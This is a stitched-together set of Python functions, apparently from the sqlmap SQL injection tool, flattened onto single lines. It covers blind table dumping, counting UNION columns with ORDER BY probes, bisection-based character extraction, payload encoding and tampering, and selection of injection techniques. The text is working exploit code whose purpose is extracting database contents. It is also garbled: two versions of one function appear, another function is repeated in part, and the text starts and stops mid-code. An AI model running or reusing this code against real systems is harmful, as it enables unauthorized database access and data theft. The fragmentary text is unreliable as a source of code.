in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl else: query = rootQuery.blind.count % (conf.db, tbl) query = whereQuery(query) if conf.dumpWhere: kb.whereCollectTimes = True pushValue(kb.responseTimes) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, count, blind=True) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: for column in colList: if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0': emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) query = whereQuery(query) value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) value = '' if value is None else value _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)) lengths[column] = max(lengths[column], len(_)) entries[column].append(value) except KeyboardInterrupt: clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if conf.dumpWhere: kb.responseTimes = popValue() kb.whereCollectTimes = False for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} try: attackDumpedTable() except (IOError, OSError), ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException, ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally:
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None @stackedmethod def _orderByTechnique(lowerCount=None, upperCount=None): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) return not any( re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison( page, headers, code) or re.search( r"data types cannot be compared or sorted", page or "", re.I) is not None if _orderByTest( 1 if lowerCount is None else lowerCount) and not _orderByTest( randomInt() if upperCount is None else upperCount + 1): infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) // 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found try: pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if kb.orderByColumns is None and ( lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof found = _orderByTechnique( lowerCount, upperCount) if conf.uCols else _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % ( found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found elif kb.futileUnion: return None if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")): contains = [ count for count, content in pages.items() if re.search( regex, content or "", re.IGNORECASE) is not None ] if len(contains) == 1: retVal = contains[0] break if not retVal: if min_ in ratios: ratios.pop(ratios.index(min_)) if max_ in ratios: ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(_ == min_ and _ != max_ for _ in ratios): retVal = maxItem[0] elif all(_ != min_ and _ == max_ for _ in ratios): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) if deviation is not None: lower, upper = average( ratios) - UNION_STDEV_COEFF * deviation, average( ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] finally: kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg)) return retVal
def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if not continuousOrder: originalTbl = list(charTbl) else: # Used for gradual expanding into unicode charspace shiftTable = [5, 4] if len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, charTbl[0])) queriesCount[0] += 1 result = Request.queryPage(forgedPayload) if result: return chr(charTbl[0]) if charTbl[0] < 128 else unichr(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if kb.dbms in (DBMS.SQLITE, DBMS.MAXDB): pushValue(posValue) posValue = chr(posValue) if posValue < 128 else unichr(posValue) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload) if kb.dbms in (DBMS.SQLITE, DBMS.MAXDB): posValue = popValue() if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,128*16-1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 return chr(retVal) if retVal < 128 else unichr(retVal) else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, retVal)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload) if result: return chr(retVal) if retVal < 128 else unichr(retVal) return None
def queryPage( value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, ): """ This method calls a function to get the target URL page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET if not auxHeaders: auxHeaders = {} raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: headers = dict(conf.httpHeaders) contentType = max( headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys() ) if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: kb.postUrlEncode = False conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload=payload, headers=auxHeaders) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace(">", ">").replace("<", "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] elif kb.postHint == POST_HINT.JSON_LIKE: payload = ( payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') ) if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] payload = ( payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') ) value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded if ( place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode ): payload = urlencode(payload, "%", False, place != PLACE.URI) # spaceplus is handled down below value = agent.replacePayload(value, payload) if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search("(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(" "), " "): if splitter in payload: prefix, suffix = ( ("*/", "/*") if splitter == " " else (urlencode(_) for _ in ("*/", "/*")) ) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = "%s%s=%s%s" % ( DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1], ) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % ( DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix, ) payload = "".join(parts) for splitter in (urlencode(","), ","): payload = payload.replace( splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name")) ) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = ( conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value ) post = post.replace(ASTERISK_MARKER, "*") if post else post if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if value and place == PLACE.CUSTOM_HEADER: auxHeaders[value.split(",")[0]] = value.split(",", 1)[1] if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub( "%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString, ) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER variables = {} originals = {} for item in filter(None, (get, post if not kb.postHint else None)): for part in item.split(delimiter): if "=" in part: name, value = part.split("=", 1) value = urldecode(value, convall=True, plusspace=(item == post and kb.postSpaceToPlus)) evaluateCode("%s=%s" % (name.strip(), repr(value)), variables) if cookie: for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if "=" in part: name, value = part.split("=", 1) value = urldecode(value, convall=True) evaluateCode("%s=%s" % (name.strip(), repr(value)), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): found = False value = unicode(value) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), name, re.escape(delimiter)) if re.search(regex, (get or "")): found = True get = re.sub(regex, "\g<1>%s\g<3>" % value, get) if re.search(regex, (post or "")): found = True post = re.sub(regex, "\g<1>%s\g<3>" % value, post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % ( re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) if not found: if post is not None: post += "%s%s=%s" % (delimiter, name, value) elif get is not None: get += "%s%s=%s" % (delimiter, name, value) elif cookie is not None: cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) if not conf.skipUrlEncode: get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif kb.postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "[%s] [WARNING] time-based comparison requires " % time.strftime("%X") warnMsg += "larger statistical model, please wait" dataToStdout(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) dataToStdout(".") dataToStdout("\n") elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter " warnMsg += "during usage of time-based payloads to prevent potential " warnMsg += "errors " singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: kb.laggingChecked = True deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "there is considerable lagging " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage( url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host ) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False pushValue(kb.pageCompress) kb.pageCompress = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage( url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ), ) if headers: if ( kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers ): pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: pageLength = int( headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find("/") + 1 :] ) kb.pageCompress = popValue() if not pageLength: try: page, headers, code = Connect.getPage( url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare, ) except MemoryError: page, headers, code = None, None, None warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " warnMsg += "behavior in custom WAF/IDS/IPS solutions" singleTimeWarnMessage(warnMsg) if conf.secondOrder: page, headers, code = Connect.getPage( url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True, ) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastResponseDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return ( comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength), ) else: return comparison(page, headers, code, getRatioValue, pageLength)
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None def _orderByTechnique(): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I) if _orderByTest(1) and not _orderByTest(randomInt()): infoMsg = "ORDER BY technique seems to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1, ORDER_BY_STEP found = None while not found: if _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if lowerCount == 1: found = kb.orderByColumns or _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] if len(filter(lambda x: x[1], contains)) == 1: retVal = filter(lambda x: x[1], contains)[0][0] break if not retVal: ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(map(lambda x: x == min_ and x != max_, ratios)): retVal = maxItem[0] elif all(map(lambda x: x != min_ and x == max_, ratios)): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg) return retVal
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL if conf.useHexBasedString: expression = expression.replace("'", "") kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = expression[len("SELECT "):] if re.search(r"(?i)\(.+\)\Z", booleanExpression): booleanExpression = "%s=%s" % ( booleanExpression, "'1'" if "'1'" in booleanExpression else '1') else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not 'COUNT(*)' in query: query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION value = __goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if error and isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join( filter(None, (key if isTechniqueAvailable(value) else None for key, value in { "E": PAYLOAD.TECHNIQUE.ERROR, "U": PAYLOAD.TECHNIQUE.UNION }.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) if value and isinstance(value, basestring): value = value.strip() if value.strip() else value[:1] else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise sqlmapNotVulnerableException, errMsg finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms( ) and conf.dbmsHandler: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' and/or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False pushValue(kb.pageCompress) kb.pageCompress = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
